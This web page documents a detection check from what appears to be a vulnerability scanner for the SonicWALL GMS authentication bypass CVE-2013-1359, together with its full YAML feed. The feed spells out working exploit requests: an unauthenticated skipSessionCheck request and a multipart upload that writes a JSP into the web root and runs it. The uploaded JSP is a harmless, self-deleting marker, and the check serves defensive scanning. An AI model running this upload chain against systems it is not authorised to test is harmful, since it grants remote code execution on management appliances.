SonicWALL GMS — 1 vulnerability check

noctis ships 1 vulnerability check for SonicWALL GMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass and JSP Upload

CVECVE-2013-1359, CVE-2013-1360
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sonicwall-gms/gms-appliance-auth-bypass-upload.yaml

Detects Dell SonicWALL Global Management System (GMS), ViewPoint, Universal Management Appliance (UMA) and Analyzer installations whose /appliance/ interface skips the session check when a request carries skipSessionCheck=1. The test first sends an unauthenticated show_diagnostics request to /appliance/applianceMainPage?skipSessionCheck=1 and reads the installation directory from the returned application log list. It then uploads a JSP with a random name into the appliance web application through the same bypass (file_system / uploadFile action) and requests it: the JSP prints the sum of two random numbers and deletes itself. A finding with the highest confidence is reported when that computed sum comes back, which proves the file was written and executed. When the upload cannot be confirmed but the log list was returned without a session, the authentication bypass is reported with a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /appliance/applianceMainPage?skipSessionCheck=1 with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /appliance/applianceMainPage?skipSessionCheck=1 with a crafted body
  5. HTTP(S) request GET /appliance/{{g.name}}.jsp
  6. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated POST /appliance/applianceMainPage?skipSessionCheck=1 (file_system/uploadFile, searchFolder=…) wrote ….jsp; GET /appliance/……
  7. Checks p.base for ^.+$ → finding QoD 75: SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass (CVE-2013-1359)

References:

Feed source — tests/vulnerabilities/sonicwall-gms/gms-appliance-auth-bypass-upload.yaml
# Dell SonicWALL GMS / ViewPoint / UMA / Analyzer — authentication bypass in
# the UMA appliance interface (/appliance/) via the skipSessionCheck parameter
# (CVE-2013-1359), leading to unauthenticated JSP upload and code execution.
# CVE-2013-1360 (crafted request to the SGMS interface) is published with it
# and kept for tracking; findings only name CVE-2013-1359, the bug proven here.
#
# Ported from OpenVAS/Greenbone NVT
#   2013/gb_sonicwall_rce_01_13.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.103642, GPL-2.0-only)
# Exploit shape cross-checked with the Metasploit module
#   exploits/multi/http/sonicwall_gms_upload (EDB-24204, tested on GMS 6.0
#   Windows and Linux virtual appliance): upload field name "uploadFilename".
#
# Any request to /appliance/applianceMainPage carrying ?skipSessionCheck=1 is
# served without a session. The show_diagnostics action lists the Tomcat log
# files, which discloses the install directory; the file_system/uploadFile
# action then writes a file to any folder (searchFolder), here the appliance
# web application, where Tomcat compiles and runs a .jsp.
#
# Detection:
#   1. QoD 75 — unauthenticated POST show_diagnostics returns the application
#      log file list (<OPTION VALUE="<install>logs...">): admin-only content
#      reached without a session.
#   2. QoD 97 — upload a per-run JSP into <install>webapps/appliance/ and GET
#      /appliance/<name>.jsp. The JSP prints NOCTIS<a+b>END (sum of two per-run
#      random numbers, never present in the uploaded source) and deletes its
#      own file, so only a server that wrote AND executed it returns the sum.
#   The QoD 75 finding is reported only when the upload proof did not succeed.
#
# Better than the NASL: the NASL first requires "<title>sonicwall" on "/", which
# misses installs whose root redirects or is branded differently (Dell/ViewPoint
# /Analyzer); this feed keys on the bypass response itself. It also reports the
# bypass (QoD 75) when the upload step fails (read-only web root, AV, WAF on
# multipart), where the NASL reports nothing, and the uploaded JSP removes
# itself instead of staying in the web root.
uid: 70a3263a-df24-4926-97d3-2869a67eaa98
name: "SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass and JSP Upload (CVE-2013-1359)"
description: |
  Detects Dell SonicWALL Global Management System (GMS), ViewPoint, Universal
  Management Appliance (UMA) and Analyzer installations whose /appliance/
  interface skips the session check when a request carries skipSessionCheck=1.
  The test first sends an unauthenticated show_diagnostics request to
  /appliance/applianceMainPage?skipSessionCheck=1 and reads the installation
  directory from the returned application log list. It then uploads a JSP with
  a random name into the appliance web application through the same bypass
  (file_system / uploadFile action) and requests it: the JSP prints the sum of
  two random numbers and deletes itself. A finding with the highest confidence
  is reported when that computed sum comes back, which proves the file was
  written and executed. When the upload cannot be confirmed but the log list
  was returned without a session, the authentication bypass is reported with
  a lower confidence.
cves: [CVE-2013-1359, CVE-2013-1360]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [sonicwall, dell, gms, viewpoint, uma, analyzer, auth-bypass, file-upload, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1359"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1360"
  - "https://www.exploit-db.com/exploits/24204"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/sonicwall_gms_upload.rb"
  - "http://www.securityfocus.com/bid/57445"

steps:
  - id: init-diag
    action: set_var
    var_name: diag
    var_value: ""

  # Per-run file name and two random operands; the marker is their sum, which
  # is never present in the uploaded source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # ── 1. Unauthenticated diagnostics: log file list → install directory ─────
  - id: diag
    action: http_request
    method: POST
    path: "/appliance/applianceMainPage?skipSessionCheck=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      TE: "deflate,gzip;q=0.3"
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
    body: "num=123456&action=show_diagnostics&task=search&item=application_log&criteria=*.*&width=500"
    store_as: diag

  # First <OPTION VALUE="...logs..."> → the Tomcat directory before "logs".
  # Linux appliance: /opt/GMSVP/Tomcat/ ; Windows: C:\GMSVP\Tomcat\ .
  - id: path
    action: script
    code: |
      let base = "";
      if type_of(diag) == "map" && diag.status == 200 {
        let m = eregmatch("<OPTION VALUE=\"([^\"]*?)logs", diag.body, true);
        if m.len() > 1 { base = m[1]; }
      }
      let folder = "";
      if base != "" {
        if base.starts_with("/") { folder = base + "webapps/appliance/"; }
        else { folder = base + "webapps\\appliance\\"; }
      }
      #{ base: base, folder: folder, ok: base != "" }
    store_as: p

  # ── 2. Upload a self-deleting JSP into the appliance web application ──────
  - id: upload
    action: http_request
    method: POST
    path: "/appliance/applianceMainPage?skipSessionCheck=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "p.ok"
    headers:
      TE: "deflate,gzip;q=0.3"
      Content-Type: "multipart/form-data; boundary=noctisxYzZY{{g.a}}"
    body: "--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfile_system\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\nuploadFile\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"searchFolder\"\r\n\r\n{{p.folder}}\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"uploadFilename\"; filename=\"{{g.name}}.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisxYzZY{{g.a}}--\r\n"
    store_as: up

  - id: fetch
    action: http_request
    method: GET
    path: "/appliance/{{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "p.ok"
    store_as: jsp

  # Only a server that executed the uploaded JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "p.ok && type_of(jsp) == \"map\" && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        cves: [CVE-2013-1359]
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /appliance/applianceMainPage?skipSessionCheck=1 (file_system/uploadFile, searchFolder={{p.folder}}) wrote {{g.name}}.jsp; GET /appliance/{{g.name}}.jsp executed it and returned the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

  # ── 3. Fallback: the bypass alone (admin diagnostics without a session) ───
  - id: bypass
    action: match
    source: p.base
    pattern: "^.+$"
    condition: "p.ok"
    on_match:
      finding:
        cves: [CVE-2013-1359]
        title: "SonicWALL GMS / ViewPoint / UMA skipSessionCheck Authentication Bypass (CVE-2013-1359)"
        confidence_delta: 0.50
        qod: 75
        evidence: "Unauthenticated POST /appliance/applianceMainPage?skipSessionCheck=1 (action=show_diagnostics) returned the application log file list without a session, disclosing the install directory {{p.base}}; the JSP upload could not be confirmed"

View these feeds on GitHub